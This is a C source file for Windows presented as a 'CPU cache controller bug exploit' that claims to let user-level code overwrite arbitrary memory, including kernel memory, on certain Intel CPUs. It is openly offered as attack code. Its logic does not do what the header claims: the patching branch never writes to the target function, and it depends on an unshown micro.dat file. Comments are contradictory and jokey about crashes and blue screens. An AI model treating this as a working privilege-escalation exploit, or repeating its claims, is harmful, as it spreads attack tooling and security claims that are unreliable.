CPU cache controller bug exploit

/*----------------------------------------------------------------------------
 *
 *                    CPU cache controller bug exploit
 *                    ================================
 *
 * allows you to change content of arbitrary memory cells,including the kernel
 * memory from the user level.
 *
 * the "victim" (memory cell) is supposed to be in L2 cache (1)
 * and (addr % 4Kb) == 0 (2)
 *
 *
 * tested on: Intel Core 2 Duo T5750, Intel Atom N270
 *
 * (x) Selena, nezumi // 2007, 2008, 2009
-----------------------------------------------------------------------------*/
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>

#define N_CORE 4

// size of micro.dat is discarded, will rewrite this soon
#define N3 (257)

#define dw unsigned int

#define XXL (9*1024*1024)

dw buf[XXL+1];

// debug: testing micro-program for the old vm, does not work now
// latter comment 1: oh. my! it works! wow!
// latter comment 2: it works, but it does not what it's expected to
// dw buf[]={1,-3,0, -6,9,1, 13,-67,2, -69,96,3, 1,-1,4,
// -3,3,5, 16,-27,6, -66,99,7, 55,-1,8, -1,-3,9, 0,-67,10};

init_c();
engine(dw *p, size_t n);

// the infinite loop will be patched on the fly because of the Intel CPU bug
// addr of the test() func should be aligned by 4Kb boundary,
// 1st dword will be changed to NOP, NOP, NOP, NOP
// it's possible to change the kernel memory as well,
// two things:
// 1) alignment;
// 2) the code is currently executed;
//
// engine() obtains the address of test(), but does not check it,
// so if you replace it, you have to check the conditionals above by yourself.
// also the content to overwrite. if you want to change data memory
// it's supposed to be in the cache as well.
__declspec(naked) test()
{
    __asm
    {
        l1: xor ecx, ecx
        loop l1
        retn
    }
}

DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
    engine(buf, N3*3);
    return 0;
}

DWORD WINAPI ThreadProc_dbg(LPVOID lpParameter)
{
    test(); printf("\nyour CPU is buggy\n");
    ExitProcess(0); return 0;
}


// micro code verification procedure
chk_m(dw *p, size_t n)
{
    int f_err = 0; size_t a, i;
    if (*(p + 2) != 0 ) printf("warning: ctx is not zero!\n");
    for (a = 3, i = 1; a < n; a += 3)
    {
        if (   ( *(p + a + 1) !=  ((*(p + a + 0) + a) ^ i) )
            || ( /* removed */ 0 )
           )   printf("error @ %04Xh - incorrect micro-code\n", a*sizeof(dw)), f_err++; i++;
    } if (f_err) printf("%d errors\n\n", f_err);

    return f_err;
}

init_m()
{
    FILE *f; size_t n;

    printf("loading  micro-program...");
    f = fopen("micro.dat","rb");
    if (!f) return printf("err\n"), 0;

    n = fread(buf, 1, 80, f);
    if (n != 80) return printf("err\n"), 0; else printf("%s...", buf);

    n = fread(buf, 1, XXL, f); printf("%d bytes done\n", n);
    buf[n/sizeof(dw)] = 0xDEAD;

    if (chk_m(buf, n/sizeof(dw))) return 0;

    return n;
}

init_t()
{
    int a;
    DWORD id; HANDLE h;
    size_t size = 111;

    printf("initializing XX thread...");
    h = CreateThread(0, 0, &ThreadProc_dbg, 0, 0, &id);
    if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0;

    for (a = 1; a < N_CORE; a++)
    {
        printf("initializing #%d thread...", a);
        h = CreateThread(0, 0, &ThreadProc, (LPVOID) size, 0, &id);
        if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0;
        size = (size & (~63)) * 4;
        Sleep(100); // bad code, it's the source of many problem.
                    // a new thread should be created when and only
                    // when the previous one finished the pass,
                    // otherwise the micro-code becomes unstable.
    }

    // !!!dbg!!!, only for debug, should be disabled in the release
    for (printf(",,,\n");;printf("%04X ", --id & 0xFFFF))
    {
        for (a = 0; a < 4;a++) printf("%04X ",buf[a] & 0xFFFF); printf("... ");
        for (a = (N3*3/2-3); a < (N3*3/2+3); a++) printf("%04X ", buf[a] & 0xFFFF); printf("... ");
        for (a = N3*3 /* no shit */; a > (N3*3-4); a--) printf("%04X ", buf[a] & 0xFFFF);
        printf("\r");
    }
}

// the engine executes the virtual code written by Selena,
// nezumi has no idea how the virtual code works, however,
// nezumi redesigned the virtual machine from the scratch,
// so, the source code of the engine is free to distribute,
// however, micro.dat is not free to distribute, there is
// a legal issue. also, it works only for certain CPUs.
//
// because of nature of Selena (she is an underground person
// lives in the shadows), it's unlikely that she will sue you
// if you decide to distribute the code that belongs to her.
// however, better do not do it for any reason.
engine(dw *p, size_t n)
{
    int a; dw f1, f2, f3, fn, f0 = -1; size_t dt = 0;
    for(;;)
    {
        f1 = *(p + ((dt++) % n));
        f2 = *(p + ((dt++) % n));
        f3 = *(p + ((dt++) % n));

        // vm + scrambler + dynamic encoder + multi-pass obfuscator
        fn = -1 ^ (f1 ^ f2) + ((dt + f1) ^ f2) ^ f0;

        // a few minutes to trigger this condition on 2.4 MHz PC
        if ( ((f1 ^ f2) == 0) || (f1 ^ f2 ^ f3) == 0)
        {
            // a sync problem. it would be better to use locks over here.
            // crash happens. crash is not shit. crash means code works.
            // so, should be really care about the addr and the content?
            // it works for Intel Core 2 Duo T5750. o_o 5 ~ 10 minutes of
            // it gives BSOD on Intel Atom N270 cpu o_o less than an hour
            f3 = (dw) &test; f1 = 0x90909090 ^ f0; f2 = (dw) &test ^ fn;

            printf("\nWOW!\n"); // remove it, plz, it's too slow to work
        }   *(p + (f3 % n)) = fn; f0 = fn; /* f0 = fn ^ dt */ ;
    }
}

main()
{
    int n;

    printf("HITB 2008 missing exploit :=) by Selena\n,,,\n");
    printf("micro-code is written by Selena\n");
    printf("virtual machine is designed by Selena\n");
    printf("virtual machine has been rewritten by nezumi\n,,,\n");

    n = init_m(); if (n) n = init_t();
}